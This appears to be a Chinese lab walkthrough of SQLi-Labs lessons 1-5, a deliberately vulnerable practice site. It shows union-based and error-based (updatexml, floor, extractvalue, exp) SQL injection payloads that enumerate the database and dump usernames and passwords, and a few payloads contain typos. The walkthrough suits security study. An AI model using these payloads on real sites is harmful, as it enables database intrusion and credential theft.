sql-liabs通关1-5

目录 lesson1-5

1.lesson-1 采用联合查询union select

2.lesson-2 updatexml报错注入

3.lesson-3 floor报错注入

4.lesson-4 extractvalue报错注入

5.lesson-5 exp报错注入

1.lesson-1 采用联合查询union select

sql流程:

找注入点

判断注入类型

查询字段数

寻找回显点

查询数据库名,查版本,查用户

查询数据表名

找比较特殊的表进行查里面的列名

从表中查数据

查询方式: and 1=1, and 1=2 ,‘, “ ,),?id=1+1等

mysql注释符号:%23(#),-- +,/**/

 判断注入类型:

?id=1'

通过报错信息可以得知时单引号类型的注入,成双成对出现,多出的符号可能要闭合的符号

查询字段数

采用二分法,查询字段数,所谓二分法就是从大的开始试用,在试用一半,然后在用一半,直到成功为止。

共有三个字段

?id=1' order by 3%23  

寻找回显点:

?id=-1'union select 1,2,3%23

2和3是回显列 ,回显就是查出的数据回显在这个位置

查询数据库名,查版本,查用户:

?id=-1'union select 1,database(),3%23
?id=-1'union select 1,user(),version()%23

查版本主要是为了看mysql是否是大于5.0的版本,5.0版本以下的是需要爆破的,5.0以上版本有information_schema,里面有所有的表名,库名,字段名,数据

information_schema 字段及含义:

schema_name,table_schema  数据库名

table_name   数据表名

column_name 字段名

查用户是为了以后写shell等进行操作的

数据库名为security,查版本5.5.53,查用户root

查询数据表名:

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23

Id为-1 是为了显示后面的数据,因为只能显示一列(limit 0,1)

表名有emails,referers,uagents,users

找比较特殊的表进行查里面的列名

users 比较特殊

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' %23

字段有id,usernam,password

字段有id,usernam,password

从表中查数据:

查询第一条数据

?id=-1' union select 1,concat(id,'~',username,'~',password),3 from security.users limit 0,1%23

查询第二条数据:

?id=-1' union select 1,concat(id,'~',username,'~',password),3 from security.users limit 1,1%23

2.lesson-2 updatexml报错注入

updatexml有长度限制为32

判断注入类型:

为整型注入

?id=1'

?id=1 and 1=1

?id=1 and 1=2

查询数据库名,查版本,查用户

?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

?id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),1)

查询数据表名:

?id=1 and updatexml(1,concat(0x7e,(select group_cocnat(table_name) from information_schema where table_schema='security'),0x7e),1)

找比较特殊的表进行查里面的列名:

?id=1 updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

从表中查数据:

查询第一条数据:

id=1 and updatexml(1,concat(0x7e,(select concat_ws(0x7e,id,username,password) from security.users limit 0,1),0x7e),1)

查询第二条数据:

?id=1 and updatexml(1,concat(0x7e,(select concat_ws(0x7e,id,username,password) from security.users limit 1,1),0x7e),1)

3.lesson-3 floor报错注入

判断注入类型:

为单引号和括号的字符型注入

查询数据库名,查版本,查用户:

?id=1') and (select 1 from(select count(*), concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

?id=1') and (select 1 from(select count(*), concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

?id=1') and (select 1 from(select count(*), concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

查询数据表名:

第一张表

?id=1') and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

第二张……

 最后一张

?id=1') and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 3,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

找比较特殊的表进行查里面的列名

第一个

?id=1') and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

第二个……

从表中查数据

第一条

?id=1') and (select 1 from(select count(*), concat((select concat_ws(0x7e,id,username,password)from security.users limit 0,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

第二条……

4.lesson-4 extractvalue报错注入

extractvalue和updatexml使用类似

判断注入类型:

为双引号括号的字符型注入

?id=1"

查询数据库名,查版本,查用户:

?id=1") and extractvalue(1,concat(0x7e,(select database())))%23

?id=1") and extractvalue(1,concat(0x7e,(select version())))%23
?id=1") and extractvalue(1,concat(0x7e,(select user())))%23

其他操作看lesson2

5.lesson-5 exp报错注入

判断注入类型:

为单引号字符型注入

?id=1' 

查询数据库名,查版本,查用户:

exp使用mysql 5.5.29正常,5.5.53查不出来

?id=1' and exp(~(select * from(select user())x))%23

 查表名:

?id=1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')x))%23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值